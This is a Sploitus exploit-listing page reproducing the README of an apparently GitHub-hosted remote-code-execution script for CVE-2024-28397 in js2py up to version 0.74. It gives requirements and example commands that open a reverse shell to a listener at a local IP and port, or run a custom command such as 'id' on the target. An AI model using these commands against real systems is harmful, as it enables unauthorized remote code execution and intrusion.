Sploitus

Exploit for CVE-2024-28397

githubexploit Β· 2025-08-18

Exploit Code

README25 lines
## https://sploitus.com/exploit?id=9E72BA06-9F12-5480-89C5-25B67FEA1D9B
# CVE-2024-28397 RCE Script

Default reverse shell payload and optional command argument allowed

exploit works for js2py <= v0.74

## Requirements

- Python 3.x  
- `requests` library (`pip install requests`)  
- Netcat listener (for reverse shell)

## Example usage

Reverse shell:

```bash
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
```
Custom command:

```bash
python exploit.py 10.129.227.108 /run_code --cmd "id"
```